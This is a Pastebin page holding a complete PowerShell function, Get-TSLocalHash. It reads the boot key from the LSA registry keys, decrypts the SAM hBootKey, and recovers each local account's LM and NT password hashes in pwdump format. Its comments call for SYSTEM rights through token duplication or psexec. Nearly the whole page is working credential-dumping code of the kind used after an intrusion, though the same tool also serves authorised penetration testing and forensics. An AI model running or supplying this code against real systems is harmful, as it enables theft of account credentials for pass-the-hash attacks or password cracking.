Advertisement
opexxx

Get-TSLocalHash.ps1

May 5th, 2014
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Get-TSLocalHash {
  2. <#
  3.   .SYNOPSIS
  4.   Extracts hashes from SAM
  5.  
  6.   .DESCRIPTION
  7.   The Get-TSHash CmdLet extracts the hashes from SAM. The CmdLet
  8.   Requires an elevated prompt and local system permissions. You can use Enable-TSDuplicateToken or psexec to retrieve system permissions.
  9.  
  10.   .EXAMPLE
  11.   Enable-TSDuplicateToken
  12.  
  13.   Get-TSHash
  14. #>
  15.  
  16. [CmdletBinding()]
  17. param()
  18.  
  19. $signature = @"
  20. [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
  21. public static extern int RegOpenKeyEx(
  22.    int hKey,
  23.    string subKey,
  24.    int ulOptions,
  25.    int samDesired,
  26.    out int hkResult);
  27.  
  28. [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
  29. extern public static int RegEnumKeyEx(
  30.    int hkey,
  31.    int index,
  32.    StringBuilder lpName,
  33.    ref int lpcbName,
  34.    int reserved,
  35.    StringBuilder lpClass,
  36.    ref int lpcbClass,
  37.    out long lpftLastWriteTime);
  38.  
  39. [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
  40. extern public static int RegQueryInfoKey(
  41.    int hkey,
  42.    StringBuilder lpClass,
  43.    ref int lpcbClass,
  44.    int lpReserved,
  45.    out int lpcSubKeys,
  46.    out int lpcbMaxSubKeyLen,
  47.    out int lpcbMaxClassLen,
  48.    out int lpcValues,
  49.    out int lpcbMaxValueNameLen,
  50.    out int lpcbMaxValueLen,
  51.    out int lpcbSecurityDescriptor,
  52.    IntPtr lpftLastWriteTime);
  53.  
  54. [DllImport("advapi32.dll", SetLastError=true)]
  55. public static extern int RegCloseKey(
  56.    int hKey);
  57.  
  58. // Shift Class From Huddled Masses
  59. public class Shift {
  60.    public static int   Right(int x,   int count) { return x >> count; }
  61.    public static uint  Right(uint x,  int count) { return x >> count; }
  62.    public static long  Right(long x,  int count) { return x >> count; }
  63.    public static ulong Right(ulong x, int count) { return x >> count; }
  64.    public static int    Left(int x,   int count) { return x << count; }
  65.    public static uint   Left(uint x,  int count) { return x << count; }
  66.    public static long   Left(long x,  int count) { return x << count; }
  67.    public static ulong  Left(ulong x, int count) { return x << count; }
  68. }
  69. "@
  70.  
  71.   # Add Type
  72.   Add-Type -MemberDefinition $signature -Name HashDump -Namespace TrueSec -UsingNamespace System.Text
  73.  
  74.   # Add Script constants, as described here
  75.   # http://code.google.com/p/volatility/source/browse/trunk/volatility/?r=1587#volatility%2Fwin32
  76.  
  77.   # Odd Parity
  78.   $odd_parity = @(
  79.     1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  80.     16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  81.     32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  82.     49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  83.     64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  84.     81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  85.     97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  86.     112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  87.     128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  88.     145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  89.     161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  90.     176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  91.     193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  92.     208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  93.     224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  94.     241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
  95.   );
  96.  
  97.   # Constants for SAM decrypt algorithm
  98.   $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0")
  99.   $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0")
  100.   $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0")
  101.   $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0")
  102.   $lmKey = [Text.Encoding]::ASCII.GetBytes("KGS!@#$%`0")
  103.  
  104.   $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
  105.   $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
  106.  
  107.   # Permutation matrix for boot key
  108.   $permutationMatrix = 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7
  109.  
  110.   #=======================================
  111.   # BootKey
  112.   #=======================================
  113.  
  114.   # Enumerate Keys and return hidden value
  115.   $values = "JD","Skew1","GBG","Data" | ForEach-Object {
  116.     $baseKey = 0x80000002
  117.     $subKey = "SYSTEM\CurrentControlSet\Control\Lsa\$_"
  118.     [int]$hKey = 0
  119.     # Open Reg Key using RegOpenKeyEx Method
  120.     [void][TrueSec.HashDump]::RegOpenKeyEx($baseKey, $subKey, 0, 0x19, [ref]$hkey)
  121.  
  122.     # Read Reg Key Data using RegQueryInfoKey Method
  123.     $lpClass = New-Object Text.Stringbuilder 1024
  124.     [int]$length = 1024
  125.     [void][TrueSec.HashDump]::RegQueryInfoKey($hkey, $lpClass,[ref]$length,0, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, 0)
  126.     $lpClass.ToString()
  127.  
  128.     # Close Reg Key using RegCloseKey Method
  129.     [void][TrueSec.HashDump]::RegCloseKey($hKey)
  130.   }
  131.  
  132.   # Convert Array to String
  133.   $valueString = [string]::Join("",$values)
  134.  
  135.   # Scramble Values
  136.   $byte = new-object byte[] $($valueString.Length/2)
  137.   0..$($byte.Length-1) | ForEach-Object {
  138.     $byte[$_] = [Convert]::ToByte($valueString.Substring($($_*2),2),16)
  139.   }
  140.  
  141.   $scrambledBootKey = new-object byte[] 16;
  142.  
  143.   $permutationMatrix | ForEach-Object -begin {$i=0} -Process { $scrambledBootKey[$i] = $byte[$_];$i++}
  144.  
  145.   #=======================================
  146.   # HbootKey
  147.   #=======================================
  148.  
  149.   # Get byte array Value from registry
  150.   $f = Get-ItemProperty -Path HKLM:\SAM\SAM\Domains\Account | Select-Object -ExpandProperty F
  151.  
  152.   # Create RC4 Key
  153.   $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($f[0x70..0x7F] + $aqwerty + $scrambledBootKey + $anum);
  154.   $s = 0..255
  155.  
  156.   0..255 | ForEach-Object -Begin { [long]$j = 0 } -Process {
  157.     $j = ($j + $rc4key[ $($_ % $rc4key.Length) ] + $s[$_]) % $s.Length
  158.     $tmp = $s[$_]
  159.     $s[$_] = $s[$j]
  160.     $s[$j] = $tmp
  161.   }
  162.  
  163.   $data = $F[0x80..0x9F]
  164.   $hBootKey = New-Object byte[] $data.Length
  165.   $s2 = $s[0..$($s.Length)];
  166.  
  167.   0..$($data.Length-1) | ForEach-Object -begin {$i=0;$j=0;} -Process {
  168.     $i = ($i+1) % $S2.Length;
  169.     $j = ($j + $S2[$i]) % $S2.Length;
  170.     $tmp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $tmp;
  171.     $a = $data[$_];
  172.     $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
  173.     $hBootKey[$_] = ($a -bxor $b);
  174.   }
  175.  
  176.   #=============================================
  177.   # Get User Keys
  178.   #=============================================
  179.  
  180.   $users = Get-ChildItem HKLM:\SAM\SAM\Domains\Account\Users | Where-Object { $_.PSCHildName -match "^[0-9A-Fa-f]{8}$" } | ForEach-Object {
  181.     New-Object PSObject -Property @{
  182.       UserName = $(
  183.         [Text.Encoding]::Unicode.GetString(
  184.           $($_.GetValue("V")),
  185.            [BitConverter]::ToInt32($_.GetValue("V")[0x0c..0x0f],0) + 0xCC, [BitConverter]::ToInt32($_.GetValue("V")[0x10..0x13],0)
  186.         );
  187.       );
  188.       Rid = $(
  189.         [Convert]::ToInt32($_.PSChildName, 16)
  190.       );
  191.       V = $( [byte[]]($_.GetValue("V")) );
  192.       HashOffset = $( [BitConverter]::ToUInt32($_.GetValue("V")[0x9c..0x9f],0) + 0xCC )
  193.     }
  194.   }
  195.  
  196.   #==============================================
  197.   # Get User Hashes
  198.   #==============================================
  199.  
  200.   foreach($user in $users) {
  201.     # Set encypted nt & lm hash to null
  202.     [byte[]]$enc_lm_hash = $null
  203.     [byte[]]$enc_nt_hash = $null
  204.  
  205.     if($user.HashOffset + 0x28 -lt $user.V.Length) {
  206.       $lm_hash_offset = $user.HashOffset + 4
  207.       $nt_hash_offset = $user.HashOffset + 8 + 0x10
  208.  
  209.       $enc_lm_hash = $user.V[$($lm_hash_offset)..$($lm_hash_offset + 0x0f)]
  210.       $enc_nt_hash = $user.V[$($nt_hash_offset)..$($nt_hash_offset + 0x0f)]
  211.  
  212.     } elseif($user.HashOffset + 0x14 -lt $user.V.Length) {
  213.       $nt_hash_offset = $user.HashOffset + 8
  214.       $enc_nt_hash = [byte[]]$user.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]
  215.     }
  216.     # User Sid To Key
  217.     $s1 = @();
  218.     $s1 += [char]($user.Rid -band 0xFF);
  219.     $s1 += [char]([TrueSec.HashDump+Shift]::Right($user.Rid,8) -band 0xFF);
  220.     $s1 += [char]([TrueSec.HashDump+Shift]::Right($user.Rid,16) -band 0xFF);
  221.     $s1 += [char]([TrueSec.HashDump+Shift]::Right($user.Rid,24) -band 0xFF);
  222.     $s1 += $s1[0];
  223.     $s1 += $s1[1];
  224.     $s1 += $s1[2];
  225.     $s2 = @();
  226.     $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
  227.     $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
  228.  
  229.     # String to Key
  230.     $keys = @()
  231.     $keys = $s1, $s2 | ForEach-Object {
  232.       $key = @();
  233.       $key += [TrueSec.HashDump+Shift]::Right([int]($_[0]), 1 );
  234.       $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[0]) -band 0x01), 6) -bor [TrueSec.HashDump+Shift]::Right([int]($_[1]),2);
  235.       $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[1]) -band 0x03), 5) -bor [TrueSec.HashDump+Shift]::Right([int]($_[2]),3);
  236.       $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[2]) -band 0x07), 4) -bor [TrueSec.HashDump+Shift]::Right([int]($_[3]),4);
  237.       $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[3]) -band 0x0F), 3) -bor [TrueSec.HashDump+Shift]::Right([int]($_[4]),5);
  238.       $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[4]) -band 0x1F), 2) -bor [TrueSec.HashDump+Shift]::Right([int]($_[5]),6);
  239.       $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[5]) -band 0x3F), 1) -bor [TrueSec.HashDump+Shift]::Right([int]($_[6]),7);
  240.       $key += $([int]($_[6]) -band 0x7F);
  241.       0..7 | %{
  242.         $key[$_] = [TrueSec.HashDump+Shift]::Left($key[$_], 1);
  243.         $key[$_] = $odd_parity[$key[$_]];
  244.       }
  245.       , $key
  246.     }
  247.     #===========================================
  248.     # LM Hash
  249.     #===========================================
  250.     if($enc_lm_hash) {
  251.       $md5 = [Security.Cryptography.MD5]::Create();
  252.       $rc4key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($user.Rid) + $almpassword);
  253.  
  254.       # RC4
  255.       $s = 0..255
  256.       0..255 | ForEach-Object -Begin { [long]$j = 0 } -Process {
  257.         $j = ($j + $rc4key[ $($_ % $rc4key.Length) ] + $s[$_]) % $s.Length
  258.         $tmp = $s[$_]
  259.         $s[$_] = $s[$j]
  260.         $s[$j] = $tmp
  261.       }
  262.      
  263.       $data = $enc_lm_hash
  264.       $obfuscatedKey = New-Object byte[] $data.Length
  265.       $s2 = $s[0..$($s.Length)];
  266.      
  267.       0..$($data.Length-1) | ForEach-Object -begin {$i=0;$j=0;} -Process {
  268.         $i = ($i+1) % $S2.Length;
  269.         $j = ($j + $S2[$i]) % $S2.Length;
  270.         $tmp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $tmp;
  271.         $a = $data[$_];
  272.         $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
  273.         $obfuscatedKey[$_] = ($a -bxor $b);
  274.       }
  275.  
  276.       $lmHash = @()
  277.       # First Part
  278.       $des = new-object Security.Cryptography.DESCryptoServiceProvider
  279.       $des.Mode = [Security.Cryptography.CipherMode]::ECB
  280.       $des.Padding = [Security.Cryptography.PaddingMode]::None
  281.       $des.Key = $keys[0]
  282.       $des.IV = $keys[0]
  283.       $transform = $des.CreateDecryptor()
  284.       $lmHash += $transform.TransformFinalBlock($obfuscatedKey[0..7], 0, $($obfuscatedKey[0..7]).Length);
  285.      
  286.       # Second Part
  287.       $des = new-object Security.Cryptography.DESCryptoServiceProvider
  288.       $des.Mode = [Security.Cryptography.CipherMode]::ECB
  289.       $des.Padding = [Security.Cryptography.PaddingMode]::None
  290.       $des.Key = $keys[1]
  291.       $des.IV = $keys[1]
  292.       $transform = $des.CreateDecryptor()
  293.       $lmHash += $transform.TransformFinalBlock($($obfuscatedKey[8..$($obfuscatedKey.Length -1)]), 0, $($obfuscatedKey[8..$($obfuscatedKey.Length -1)]).Length);
  294.     } else {
  295.       # Return Empty LM Hash
  296.       $lmHash = $empty_lm
  297.     }
  298.  
  299.     #===========================================
  300.     # NT Hash
  301.     #===========================================
  302.     if($enc_nt_hash) {
  303.       $md5 = [Security.Cryptography.MD5]::Create();
  304.       $rc4key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($user.Rid) + $antpassword);
  305.  
  306.       # RC4
  307.       $s = 0..255
  308.       0..255 | ForEach-Object -Begin { [long]$j = 0 } -Process {
  309.         $j = ($j + $rc4key[ $($_ % $rc4key.Length) ] + $s[$_]) % $s.Length
  310.         $tmp = $s[$_]
  311.         $s[$_] = $s[$j]
  312.         $s[$j] = $tmp
  313.       }
  314.      
  315.       $data = $enc_nt_hash
  316.       $obfuscatedKey = New-Object byte[] $data.Length
  317.       $s2 = $s[0..$($s.Length)];
  318.      
  319.       0..$($data.Length-1) | ForEach-Object -begin {$i=0;$j=0;} -Process {
  320.         $i = ($i+1) % $S2.Length;
  321.         $j = ($j + $S2[$i]) % $S2.Length;
  322.         $tmp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $tmp;
  323.         $a = $data[$_];
  324.         $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
  325.         $obfuscatedKey[$_] = ($a -bxor $b);
  326.       }
  327.  
  328.       $ntHash = @()
  329.       # First Part
  330.       $des = new-object Security.Cryptography.DESCryptoServiceProvider
  331.       $des.Mode = [Security.Cryptography.CipherMode]::ECB
  332.       $des.Padding = [Security.Cryptography.PaddingMode]::None
  333.       $des.Key = $keys[0]
  334.       $des.IV = $keys[0]
  335.       $transform = $des.CreateDecryptor()
  336.       $ntHash += $transform.TransformFinalBlock($obfuscatedKey[0..7], 0, $($obfuscatedKey[0..7]).Length);
  337.      
  338.       # Second Part
  339.       $des = new-object Security.Cryptography.DESCryptoServiceProvider
  340.       $des.Mode = [Security.Cryptography.CipherMode]::ECB
  341.       $des.Padding = [Security.Cryptography.PaddingMode]::None
  342.       $des.Key = $keys[1]
  343.       $des.IV = $keys[1]
  344.       $transform = $des.CreateDecryptor()
  345.       $ntHash += $transform.TransformFinalBlock($($obfuscatedKey[8..$($obfuscatedKey.Length -1)]), 0, $($obfuscatedKey[8..$($obfuscatedKey.Length -1)]).Length);
  346.     } else {
  347.       # Return Empty NT Hash
  348.       $ntHash = $empty_nt
  349.     }
  350.     $user | foreach-object {
  351.       New-Object PSObject -Property @{
  352.         UserName = $($_.UserName);
  353.         Rid = $($_.Rid);
  354.         NTHash = $([BitConverter]::ToString($ntHash).Replace("-","").ToLower());
  355.         LMHash = $([BitConverter]::ToString($lmHash).Replace("-","").ToLower());
  356.         Hash = $("$($_.UserName):$($_.Rid):$([BitConverter]::ToString($lmHash).Replace('-','').ToLower()):$([BitConverter]::ToString($ntHash).Replace('-','').ToLower()):::")
  357.       }
  358.     }
  359.   }
  360. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement